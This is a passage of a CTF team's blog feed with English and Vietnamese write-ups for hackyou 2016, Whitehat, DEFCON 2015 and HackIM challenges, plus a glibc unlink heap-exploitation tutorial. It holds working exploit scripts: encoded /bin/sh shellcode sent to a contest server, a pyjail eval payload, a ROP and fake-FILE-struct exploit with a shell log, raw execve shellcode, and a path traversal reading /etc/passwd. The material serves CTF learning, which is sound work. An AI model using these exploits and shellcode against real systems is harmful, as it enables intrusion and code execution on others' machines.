pwn – BabyPhD CTF Team https://babyphd.net Nói chung đây là một khái niệm vô cùng trừu tượng Thu, 27 Jul 2017 19:02:33 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 104079289 hackyou.ctf.su 2016 https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/ https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/#comments Thu, 24 Nov 2016 17:13:17 +0000 https://babyphd.net/?p=627 Continue reading hackyou.ctf.su 2016 ]]> This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.

Reverse 100:

#include <stdio.h>
#include <string.h>

int main() {
	char buf[64];
	gets(buf);
	int l = strlen(buf);
	if (l * l != 144)
		return 1;
	unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
	unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
	unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
	unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
	if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
		return 2;
	if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
		return 3;
	if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
		return 4;
	if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
		return 5;
	printf("Congratulations %s is flag\n",buf);
	return 0;
}

First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.

Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this

# Source Generated with Decompyle++
# File: rev200_bot_7b541a1.pyc (Python 2.7)

import config
import traceback
import re
from base64 import *
from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide
sec_state = { }

def process_message(bot, u):
Warning: Stack history is not empty!
    if u.message.sender and u.message.text and u.message.chat:
        chat_id = u.message.chat.id
        user = u.message.sender.username
        reply_hide = ReplyKeyboardHide.create()
        print 'user:%s mes:%s' % (user, u.message.text)
        if user not in sec_state:
            sec_state[user] = {
                'mode': 15,
                'stage': 7 }
        cmd1 = u.message.text.encode('utf-8')
        a = re.findall('(\\/\\w+)\\s*(.*)', cmd1)
        if a:
            cmd = a[0][0]
            data = a[0][1]
            if cmd == '/help':
                bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide)
            if cmd == '/enter':
                keyboard = [
                    [
                        '-7-',
                        '-8-',
                        '-9-'],
                    [
                        '-4-',
                        '-5-',
                        '-6-'],
                    [
                        '-1-',
                        '-2-',
                        '-3-'],
                    [
                        '-0-']]
                reply_markup = ReplyKeyboardMarkup.create(keyboard)
                bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait()
            if sec_state[user]['mode'] == 0 and cmd == '/7779317':
                ddd = b64decode(data)
                bot.send_message(chat_id, eval(ddd))
            
        a = re.findall('-(\\d+)-', cmd1)
        if a:
            num = a[0]
            if int(num) == sec_state[user]['stage']:
                sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
                sec_state[user]['mode'] = sec_state[user]['mode'] - 1
                if sec_state[user]['mode'] < 0:
                    sec_state[user]['mode'] = 0
                if sec_state[user]['mode'] == 0:
                    bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait()
                
            else:
                print 'NO', num, sec_state[user]['stage']
                bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait()
                sec_state[user]['mode'] = 15
        

bot = TelegramBot(config.token)
bot.update_bot_info().wait()
print bot.username
last_update_id = 0
while True:
    updates = bot.get_updates(offset = last_update_id).wait()
    
    try:
        for update in updates:
            if int(update.update_id) > int(last_update_id):
                last_update_id = update.update_id
                process_message(bot, update)
                continue
    continue
    except Exception:
        ex = None
        print traceback.format_exc()
        continue
    

So this is a kind of chat-bot server based on Telegram.
There is eval function inside,  bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;

#coding: utf-8
sec_state = { }
user = "A"
sec_state[user] = {
'mode': 15,
'stage': 7 } # bruteforce number
sec_state[user]['mode'] = 15
r = []
while 1:
	num = sec_state[user]['stage']
	r.append(num)
	print "-%d-" % num
	sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
	sec_state[user]['mode'] = sec_state[user]['mode'] - 1
	if sec_state[user]['mode'] < 0:
	    sec_state[user]['mode'] = 0
	if sec_state[user]['mode'] == 0:
		break

print sec_state[user]['mode']

Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`

Reverse 300:
Let's get some fun.

let reverse this (or not?), look at handler (the main function)

ssize_t __cdecl handler(int fd)
{
  ssize_t result; // eax@1
  unsigned int buf; // [sp+20h] [bp-18h]@1
  int v3; // [sp+24h] [bp-14h]@1
  char *v4; // [sp+28h] [bp-10h]@4
  int v5; // [sp+2Ch] [bp-Ch]@4

  buf = 0;
  setuid(0x3E8u);
  seteuid(0x3E8u);
  setgid(0x3E8u);
  setegid(0x3E8u);
  result = recv(fd, &buf, 4u, 0);
  v3 = result;
  if ( result == 4 )
  {
    result = buf;
    if ( buf <= 0xC8 )
    {
      v4 = (char *)mmap(0, buf, 7, 33, -1, 0);
      v3 = recv(fd, v4, buf, 0);
      result = crc32(0, v4, buf);
      v5 = result;
      if ( result == 0xCAFEBABE )
      {
        result = filter(v4, buf) ^ 1;
        if ( !(_BYTE)result )
          result = ((int (*)(void))v4)();
      }
    }
  }
  return result;
}

So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:

1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;

from pwn import *
import socket, struct, telnetlib
def getCRC(data):
	import subprocess
	with open('/tmp/12', 'wb') as f:
		f.write(data + "123456")
	subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE'])
	with open('/tmp/12', 'rb') as f:
		data = f.read()
	return data
def crc32(data):# recheck
	import zlib
	return (zlib.crc32(data)) & 0xffffffff


d = ""
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))
# i need dup2 because the program use itself as server
d += asm(pwnlib.shellcraft.i386.linux.sh())

fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')

print len(fsc)
fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.
print hex(crc32(fsc))

#yes, i love my custom socket lib 🙁
s = socket.create_connection(("78.46.101.237", 3177))

s.send(p32(len(fsc)))
s.send(fsc)
s.send("\n")

s.send("cat flag*\n") 
print s.recv(1024)

To be continued....

]]>
https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/feed/ 2 627
Whitehat Contest 12 - Pwn400 https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/ https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/#comments Sun, 11 Sep 2016 16:29:10 +0000 https://babyphd.net/?p=600 Continue reading Whitehat Contest 12 - Pwn400 ]]>

Líp vẫn nhớ và yêu Híp nhiều lắm ...

Chiến đấu bên những người anh em luôn làm tôi cảm thấy thoải mái và phấn khích. Đợt contest này cả đội đã có 1 ngày không ngủ, cũng gần như không ăn, chỉ dùng lon bò húc để cầm hơi. Cả đội đã rất nỗ lực và hy vọng tràn trề khi lúc đầu liên tục tranh giành top 1 với kỳ phùng địch thủ. Cho đến giữa đêm, do thiếu một chút may mắn ( tôi thì không nghĩ vậy, đêm là khoảng thời gian tôi hay rơi vào trạng thái không ổn định pudency ) mà mọi người mất dần ý chí chiến đấu, nhìn đội khác vươn lên. Có lẽ nếu như tôi dành được 400 điểm từ bài này thì mọi chuyện đã khác. Nhưng dù sao "có lẽ" vẫn chỉ là 1 từ người ta dùng để biện hộ cho lỗi lầm của mình mà thôi.

Đề bài cho 1 file binary có chức năng dùng để viết và đọc 1 file trên server. Thoạt nhìn, tôi đã thấy bài này quen rồi, và có vẻ như chủ đề này vừa được tôi nghiên cứu cách đây 2 tháng. Ta có thể thấy lỗi khá rõ ràng ở hàm `read_file`

int read_file()
{
  char ptr; // [sp+18h] [bp-110h]@4
  size_t n; // [sp+118h] [bp-10h]@4
  FILE *stream; // [sp+11Ch] [bp-Ch]@1

  printf("file name: ");
  __fpurge(stdin);
  gets(name);
  stream = fopen(name, "rb");
  if ( !stream )
  {
    puts("Error: cannot open file. ");
    exit(1);
  }
  fseek(stream, 0, 2);
  n = ftell(stream);
  fseek(stream, 0, 0);
  fread(&ptr, 1u, n, stream);            // Does not check boundary of ptr
  puts(&ptr);
  return fclose(stream);
}

Như vậy, ta có thể cho chương trình đọc một nội dung file có kích thước lớn để kích hoạt lỗi buffer overflow. Tuy nhiên, ta cũng thấy `ptr` nằm ở `sp + 18h` còn `stream` thì nằm ở `sp + 11Ch` nên có thể khai thác lỗi bằng cách dùng bảng IO_FILE_JUMP.

Bài toán 1

Vẫn chiến thuật cũ, tôi bắt đầu từ chương trình đơn giản hơn là gọi hàm `fclose()` với tham số truyền vào là một mảng char. Sau một thời gian sử dụng gdb và "lỗi đến đâu sửa đến đó", tôi đã tìm được những giá trị cần có trong mảng

#include <stdio.h>
char a[256];

int main () {
    *((int *)a + 1) = 0xdeadbeaf;
    *((int *)a + 0x48 / 4) = a;
    *((int *)a + 0x94 / 4) = a - 4;
    fclose(a);
    return 0;
}

Và tất nhiên, kết qủa sẽ là `Invalid $PC address: 0xdeadbeaf`. Tuy nhiên, lần này tôi cũng nhận ra một điều là tôi không thể truyền được tham số khi gọi hàm theo kiểu này. Nếu cấc bạn step từng bước để vào bên trong libc, các bạn sẽ thấy trước khi call ,libc sẽ thực hiện:

push 0x0
push esi                            ; file pointer
call DWORD PTR [eax + 0x8]

Tôi phát hiện ra rằng chương trình không có stack protector, nên nếu như tôi lừa libc cho nó chạy như bình thường với mảng char, tôi có thể đè lên EIP và các gía trị sau đố rồi làm như những bài BoF bình thường. Tôi thử gọi hàm puts thì được kết qủa:

free(): invalid pointer: 0x0804a060 ***

Không ngoài dự đoán, theo như những gì google được thì hàm `fclose()` sau khi thực hiện việc đóng file sẽ giải phóng bộ nhớ đã cấp trước đó ( file pointer cũng là "híp" mà big_smile ).

Bài toán 2

Như vậy, ngoài việc biến mảng a thành một con trỏ file giả, thì ta cũng cần biến nó thành một heap chunk giả nữa. Tiếp tục sử dụng gdb, lần này thêm một cửa sổ khác để debug chương trình mà free một con trỏ đã malloc thực sự. Việc này giúp ta dễ dàng theo dõi luồng thực thi của chương trình đúng và biết sẽ phải sửa cái gì cho chương trình sai. Sau một hồi lâu sửa đi sửa lại, tôi cũng có được những gía trị cần tìm ( ở đây tôi chọn fclose(a + 16) cho nó thoải mái, tránh trường hợp truy xuất vào ô nhớ nào đó phía trước ):

#include <stdio.h>
char a[256];

int main () {
    puts("abcd");
    *((int *)a + 3) = 0xa1;
    *((int *)a + 4 + 1) = 0x8048350;
    *((int *)a + 4 + 0x48 / 4) = a + 16;
    *((int *)a + 4 + 0x94 / 4) = a + 16 - 4;
    *((int *)a + 43) = 0x20b59;
    *((int *)a + 44) = a + 34*4;
    *((int *)a + 45) = a + 38*4;
    *((int *)a + 34 + 3) = a + 42*4;
    *((int *)a + 38 + 2) = a + 42*4;
    fclose(a + 16);
    return 0;
}

Vậy là xong rồi, quay trở lại bài readfile, ta sẽ thực hiện 2 công việc:

  • Gọi hàm write_file để tạo ra một file tên là "inp", nội dung sẽ là `padding + name_address + padding + rop chain`
  • Gọi hàm read_file, đọc file có tên là "inp\x00" + fake_file_struct mà ta vừa tạo ra

Ez local shell, Ez life

[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Puts: 0xf7e5cb80
[*] Printf: 0xf7e46590
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode

$ id
uid=1000(tuanit96) gid=1000(hardtobelieve) groups=1000(hardtobelieve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
tuanit96
$  

Bài toán 3

Proof of Concept

from pwn import *

def read_file(name):
	s.sendline("2")
	s.recvuntil("file name: ")
	s.sendline(name)

def write_file(name, content):
	s.sendline("1")
	s.recvuntil("file name: ")
	s.sendline(name)
	s.recvuntil("Give me the size: ")
	#print s.recv()
	s.sendline(str(len(content)))
	s.recvuntil("Give me the buffer: ")
	s.sendline(content)

name1 = "/tmp/abc"
name2 = "/tmp/def"
name3 = "/tmp/ghi"

name_addr = 0x804a0a0 + 16
puts_plt = 0x80485b0
puts_got = 0x804a01c
printf_got = 0x804a000
popret = 0x080486c3
start = 0x8048640

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(puts_plt) + p32(popret) + p32(puts_got) + p32(puts_plt) + p32(popret) + p32(printf_got))

s.close()

#s = remote("118.70.80.143", 23504)
s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
s.recvuntil("0:exit\n")

fake_file = "\x00"*4*1 + p32(0xa1) + "\x00"*4*1              # 2 blocks
fake_file += p32(puts_plt) + "\x00"*4*16         # 17 blocks
fake_file += p32(name_addr) + "\x00"*4*14        # 15 blocks
fake_file += p32(name_addr + 38*4) + "\x00"*4*2    # 3 blocks
fake_file += p32(name_addr + 38*4)                 # 1 blocks
fake_file += p32(name_addr - 4) + "\x00"*4*1     # 2 blocks
fake_file += p32(0x20b59)                        # 1 blocks
fake_file += p32(name_addr + 30*4)                 # 1 blocks
fake_file += p32(name_addr + 34*4)

payload1 = name1 + fake_file
read_file(payload1)
data = s.recv()
data += s.recv()

puts = u32(data.split('\n')[-3][:4])
printf = u32(data.split('\n')[-2][:4])
log.info("Puts: " + hex(puts))
log.info("Printf: " + hex(printf))

s.close()

system = printf - 0x00049590 + 0x0003ad80
binsh = printf - 0x00049590 + 0x15ba3f

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(system) + p32(popret) + p32(binsh))

s.close()

#s = remote("103.237.99.25",  23504)
s = remote("localhost", 4000)
s.recvuntil("0:exit\n")
read_file(payload1)
s.interactive()

Tôi hí hửng exploit với con server của họ, ngờ đâu nó chết không thương tiếc beat_brick. Đờ đẫn một lúc không hiểu chuyện gì xảy ra, tôi mới thử đem sang một máy khác chạy bản ubuntu cũ hơn tôi, và nó cũng chịu chung số phận. Có vẻ libc ở bản cũ và bản mới khác nhau ( cách xử lý, offset, ... ). Lúc đó là 2h đêm và nghĩ đến việc giờ ngồi debug lại trên libc-2.19 là tôi lại muốn đi ... Ý boss. Tôi thầm mắng chửi ban tổ chức, lẽ ra phải đưa cả libc cho người chơi chứ, nhưng rồi lại nhận ra, có lẽ họ cũng không biết được điều đó xảy ra, cũng giống mình ban nãy vậy.

Vậy là tôi đã đánh mất 400 điểm dù nó đã nằm trong tay, cảm giác thật giống với việc tối đã để tuột mất tay Híp khi vẫn còn đang nắm chặt vậy ...

]]>
https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/feed/ 2 600
Unlink technique https://babyphd.net/2016/04/07/unlink-technique/ Thu, 07 Apr 2016 15:01:11 +0000 https://babyphd.net/?p=498 Continue reading Unlink technique ]]> Đây là một trong những kỹ thuật cơ bản dùng để khai thác lỗ hổng ở vùng nhớ heap

Cấu trúc heap

Glibc tổ chức 1 heap chunk như sau:

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

Thông thường sau khi malloc, nếu ta dump heap ra thì sẽ chỉ thấy 2 thành phần là `prev_size` và `size`. 2 thành phần chính còn lại là fd và bk sẽ xuất hiện sau khi ta free.

Trước khi free

heap_before_free

  • Prev_size: Nếu heapchunk liền trước không đc sử dụng, trường này sẽ chứa size của heapchunk đó. Còn nếu heapchunk trước đang được sử dụng, prev_size sẽ chứa dữ liệu từ người dùng
  • size: Trường size không những thể hiện kích thước của heap, mà còn chứa thêm 3 thông tin tương ứng với 3 bit cuối cùng
    1. -PREV_INUSE(P): Bit P bằng 1 khi chunk trước được dùng và bằng 0 khi chunk trước không được dùng
    2. IS_MAPPED(M): Bit M bằng 1 khi địa chỉ của chunk được mmap
    3. NON_MAIN_ARENA(N): Bit N bằng 1 khi chunk thuộc thread arena

Sau khi free

heap_after_free

  • Prev_size: Lúc này prev_size sẽ luôn chứa dữ liệu người dùng từ heapchunk trước đó, vì glibc không cho phép 2 chunk liên tiếp đều ở trạng thái đã bị free
  • size: Vẫn giữ nguyên khi chưa free
  • fd: Trường fd chứa địa chỉ của chunk kế tiếp trong cùng 1 bin ( Bin là 1 danh sách các chunks đã được free, sẽ được nói đến trong 1 bài riêng )
  • bk: Trường bk chứa địa chỉ của chunk liền trước trong cùng 1 bin

Unlink trong free()

Thao tác unlink được glibc định nghĩa là:

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD; 
        if (!in_smallbin_range (P->size) 
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
              malloc_printerr (check_action,
                               "corrupted double-linked list (not small)",
                               P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                  FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize; 
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                  }
              } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
              }
          }
      }
}

Khi ta gọi hàm free(), về cơ bản chương trình sẽ thực hiện các thao tác sau:

  • Kiểm tra một số điều kiện về kích thước
  • Kiểm tra liệu có chunk liền sau chunk hiện tại và size của nó chứa thông tin chỉ ra rằng chunk hiện tại đang được sử dụng
  • Kiểm tra chunk hiện tại có nằm ở đầu freelist hay không
  • Kiểm tra chunk liền trước có phải cũng đang ở trạng thái free không
  • Nếu có, thực hiện thao tác unlink chunk đó vào nhập 2 chunk làm 1
  • Nối lại chunk sau khi đã nhập làm 1 vào freelist

Ta có thể thấy thao tác unlink có thể giúp ta có được quyền viết vào một vùng bất kỳ:

FD->bk = BK;
BK->fd = FD;

Tuy nhiên, muốn làm được vậy, ta phải bypass qua điều kiện kiểm tra của glibc. Ta sẽ xét ví dụ cụ thể sau

 

Kịch bản (Heap overflow)

Giả sử ta có

#include <stdio.h>

int list_addr[2];
int main () {
	list_addr[0] = (char *)malloc(0x80);
	list_addr[1] = (char *)malloc(0x80);
	gets(list_addr[0]);
	free(list_addr[1]);
	gets(list_addr[0]);
	gets(list_addr[0]);
	printf ("Good bye!\n");
	return 0;
}

Chương trình sẽ yêu cầu hàm malloc một vùng nhớ là 0x80, vì giá trị này nằm ở giữa small bin và large bin (Sẽ được nói đến trong 1 bài riêng), từ đó khi thực hiện các thao tác trong lúc free sẽ đơn giản hơn.

Dễ thấy rằng ta có thể viết đè từ chunk1 sang chunk2 nhờ hàm gets(), từ đó sau khi free chunk2, ta sẽ làm cho hàm free sát nhập chunk1 vào chunk2 mặc dù chunk1 đang ở trong trạng thái được sử dụng. Đầu tiên, hàm free() sẽ kiểm tra bit PREV_INUSE(P) của chunk2

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
}

Trước khi unlink chunk1 để sát nhập, hàm free có một bước kiểm tra để khẳng định chunk liền trước và liền sau chunk1 đang trỏ vào chunk1

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);

Tuy nhiên, trước đó chương trình dùng 1 biến toàn cục để chứa địa chỉ của các heapchunk đã malloc nên ta có thể dựa vào đây để bypass qua câu lệnh if này. Ta cần lưu ý ở đây, vì khi free, chương trình sử dụng địa chỉ thực của heapchunk chứ không phải địa chỉ trả về cho người dùng, nên khi tạo các thông tin giả, ta phải tạo cách địa chỉ trả về ít nhất 2 blocks tương ứng với prev_size và size của chunk1, ta gọi là chunk11.

Tổng kết lại, ta cần thực hiện các bước sau:

  • Bit P của chunk2 phải được gán bằng 0 để báo với hàm free() rằng chunk11 đã được free trước đó
  • Trường fd của chunk11 sẽ chứa địa chỉ của ô nhớ cách nơi lưu địa chỉ các heapchunk 3 blocks (12 bytes)
  • Trường bk của chunk11 sẽ chứa địa chỉ của ô nhớ cách nới lưu địa chỉ các heapchunk 2 blocks (8 bytes)
  • prev_size của chunk2 phải chứa size của chunk11

 

Proof of concept

Sau khi unlink được thì có thể có nhiều cách để khai thác tiếp: viết đè EIP, sử dụng fini_array, tls_dtor_list... Để đơn giản, bài viết sẽ khai thác bằng cách viết đè lên bảng GOT để trỏ vào nơi chứa shellcode.

from pwn import *

s = remote("localhost", 1928)

heap_addr = 0x0804b000
list_addr = 0x0804a030
puts_got = 0x0804a018
payload = ""
block_size = 4
sh = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"

payload += "\x00"*2*block_size
payload += p32(list_addr - 3*block_size)
payload += p32(list_addr - 2*block_size)
payload += sh + "\x90"*11
payload += "\x00"*17*block_size
payload += p32(0x80)
payload += p32(0x89 & ~1)
payload += "\n"
payload += "\x00"*3*block_size + p32(puts_got)
payload += "\n"
payload += p32(heap_addr + 6*block_size)
payload += "\n"

s.send(payload)
s.interactive()

Trước khi nhập payload

before

Trước khi nhập payload

before2

Sau khi free

after

-> Ưu điểm: Có thể viết bất nơi đâu mà không làm hỏng vùng nhớ xung quanh nó.

-> Nhược điểm: Thông thường chương trình phải có nơi lưu lại địa chỉ của các heapchunk.

 

Double free

Đây là lỗi khi mà hàm free() thực hiện thao tác free đối vs 1 đối tượng 2 lần. Về cơ bản, thao tác tạo chunk giả để unlink cũng giống với heap overflow, nhưng kịch bản ở đây sẽ khác:

  • Malloc chunk1 có kích thước 0x80
  • Malloc chunk2 có kích thước 0x80
  • Free chunk2 và chunk1
  • Malloc chunk3 có kích thước 0x100
  • Tạo chunk1 giả và chunk2 giả trong lòng chunk3
  • Free chunk2

 

REFERENCES:  https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

]]>
498
[Write up] DEFCON CTF 2015 - wwtv , cybergrandsandbox https://babyphd.net/2015/05/18/write-up-defcon-ctf-2015-wwtv-cybergrandsandbox/ Mon, 18 May 2015 15:29:37 +0000 https://babyphd.net/?p=351 Continue reading [Write up] DEFCON CTF 2015 - wwtv , cybergrandsandbox ]]> WWTV

The bug is easy to find at function Coordidate, this is basic format string bug

But before you enter printf(s), we must to bypass the check a pair float number is parsed from s, to bypass it we just append format string bug to the end of the pair '51.492137,-0.192878' , for more information about atof read this http://www.cplusplus.com/reference/cstdlib/atof/

So the payload to exploit this bug too easy:

  1. First, we need to leak binary base address, and libc address
  2. Second, calc system address and then overwrite atof got by system address and then pwned.

But the game is not over, before we exploit the bug, we need to solve 2 problems:

We must to write a program to solve the game to enter TARDIS mode (this task is to quite strange)

We must bypass timecheck to enter vulnerable function

time_c > 0x55592B6C && time_c <= 0x55592B7F;

We must set time_c in range (0x55592b6c,0x55592b7f].

Take a look at READ_DATA function , will be triggered after 2 second.

OMG, the buffer was used for saving the connection to localtime server was used to store user input. We just send 9 zero bytes to server and then wait until READ_DATA is triggered and then send 4 bytes in require range, and we will enter vulnerable function.

Our poc here : https://gist.github.com/peternguyen93/f06aa5e27626598a1c21

CyberGrandSandbox

This is very interesting challenge.

After doing RE we find some usefull information:

This program implementing basic Polish Notation by using JIT compiler.

The structure of jit is:

Take a look at function handle_digit 

When we inputted a string of number is seperated by space character , the jit compiter will push it in the stack_buffer.

We know that size of stack_buf is 0x1000 (located below stack_code), in this function there are no unbound checking if we push the stack_buf into stack_code, and so this bug does.

We just write own shellcode and then overwrite some opcode in the end of asm_code with own shellcode  (because cgc executable is not have sys_execve syscall so we just use some syscall provided by CGC to read the flag).

Our shellcode :

_start:
	push 0x3
	pop eax
	push ebx
	pop ecx
	push 0x3
	pop ebx
	push 0x50
	pop edx ;ebx hold my buffer
	int 0x80
	push 0x2
	pop eax
	push 0x1
	pop ebx
	int 0x80

Our poc is : https://gist.github.com/peternguyen93/e7d08cf109b38af6baae

This is the first time i wrote writeup using english, if something went wrong or some point you dont understand, feel free to ask me above

]]>
351
[Whitehat Contest 8] Pwn200,Pwn500 Writeup https://babyphd.net/2015/02/01/whitehat-contest-8-pwn200pwn500-writeup/ https://babyphd.net/2015/02/01/whitehat-contest-8-pwn200pwn500-writeup/#comments Sun, 01 Feb 2015 14:28:41 +0000 https://babyphd.net/?p=288 Continue reading [Whitehat Contest 8] Pwn200,Pwn500 Writeup ]]> Phân tích code, binary là một simple webserver , nhận request từ client và trả về dữ liệu cần yêu cầu, hỗ trợ (GET/HEAD)

Chú ý 2 đoạn code sau

Screen Shot 2015-02-01 at 9.22.05 PM

Nhận path request , tiến hành urldecode rồi open cái file html/js/... mà client yêu cầu, sau đó trả về content.

Kiểm tra hàm CleanURL

Screen Shot 2015-02-01 at 9.22.44 PM

Hàm có tác vụ urldecode, tuy nhiền hàm này lại không filter '../' (path traveler) cho phép attacker có thể sử dụng '../' để read /etc/passwd (hoặc flag) chẳng hạn

Screen Shot 2015-02-01 at 9.18.50 PM

Screen Shot 2015-02-01 at 9.19.00 PM

]]>
https://babyphd.net/2015/02/01/whitehat-contest-8-pwn200pwn500-writeup/feed/ 1 288
[HackIM 2014] RE + Pwn MentalNote https://babyphd.net/2015/01/13/hackim-2014-re-pwn-mentalnote/ Tue, 13 Jan 2015 01:58:34 +0000 https://babyphd.net/?p=259 Continue reading [HackIM 2014] RE + Pwn MentalNote ]]> RE 100 - boo

binary khá nặng

C:\Users\chim\Desktop\nullcon\re\boo>trid boo

TrID/32 - File Identifier v2.10 - (C) 2003-11 By M.Pontello

Collecting data from file: boo
100.0% (.) Mac OS X Mach-O 64bit Intel executable (4000/1)

=> Mac OS Binary kernel Mach 64 bit

Check string 1 tí thì thấy UPX 3.91!. Ok thử decompress nào

C:\Users\chim\Desktop\nullcon\re\boo>upx -d boo
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91w       Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: boo: NotPackedException: not packed by UPX

Unpacked 0 files.

Failed!

Check lại string lần nữa để ý thấy cái zlib.so, struct.so, python ME... nghi ngờ thể loại python->bin quá.

Find header PYZ => founded :yolo:

boo_3

Ok easy roài, extract data python ra thôi - Link

import sys

if len(sys.argv) == 13:
	print "Great: flag{g3771ng_st4rt3d_2015}"
else:
	print "."

-------------------------------------------------------------------------------------------------------

RE 200 - upx.exe

string thử chả thấy cái UPX! signature nào @@. decompress lại cho chắc failed nốt.

upx_1

Run

upx_2

OK boy let's make it nicely!

Bật IDA Disass thấy đây là 1 binary MS C++ bình thường.

main là winMain -> sau đó call hàm sub_4001000

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
    sub_401000();
    return 0;
}

void *__cdecl sub_401000()
{
    void *result; // eax@1
    void *MZ_header; // ecx@1
    int v2; // ecx@4
    int v3; // ebp@4
    int v4; // esi@4
    int v5; // ebx@4
    const char *v6; // edi@5
    unsigned int v7; // edi@9
